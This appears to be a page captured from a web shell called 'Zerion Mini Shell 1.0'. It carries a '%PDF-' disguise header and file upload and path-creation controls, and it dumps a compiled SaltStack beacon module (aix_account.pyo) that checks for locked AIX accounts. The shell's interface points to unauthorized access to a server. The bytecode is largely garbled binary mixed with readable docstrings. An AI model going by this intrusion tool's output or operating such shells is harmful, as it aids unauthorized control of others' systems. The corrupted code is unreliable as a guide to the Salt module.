%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/beacons/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/beacons/aix_account.pyo

�
���^c@@s\dZddlmZmZddlZeje�ZdZd�Z	d�Z
d�ZdS(u�
Beacon to fire event when we notice a AIX user is locked due to many failed login attempts.

.. versionadded:: 2018.3.0

:depends: none
i(tabsolute_importtunicode_literalsNuaix_accountcC@stddkrtStdfS(u$
    Only load if kernel is AIX
    ukerneluAIXuLThe aix_account beacon module failed to load: only available on AIX systems.(t
__grains__t__virtualname__tFalse(((s</usr/lib/python2.7/site-packages/salt/beacons/aix_account.pyt__virtual__scC@s9t|t�stdfSd|kr/tdfStdfS(u+
    Validate the beacon configuration
    u4Configuration for aix_account beacon must be a dict.uuseruNConfiguration for aix_account beacon must include a user or ALL for all users.uValid beacon configuration(t
isinstancetdictRtTrue(tconfig((s</usr/lib/python2.7/site-packages/salt/beacons/aix_account.pytvalidates


cC@s8g}|d}td|�}|ji|d6�|S(u�
    Checks for locked accounts due to too many invalid login attempts, 3 or higher.

    .. code-block:: yaml

        beacons:
          aix_account:
            user: ALL
            interval: 120

    uuserushadow.login_failuresuaccounts(t__salt__tappend(R	trettusertlocked_accounts((s</usr/lib/python2.7/site-packages/salt/beacons/aix_account.pytbeacon+s


(t__doc__t
__future__RRtloggingt	getLoggert__name__tlogRRR
R(((s</usr/lib/python2.7/site-packages/salt/beacons/aix_account.pyt<module>s		

Zerion Mini Shell 1.0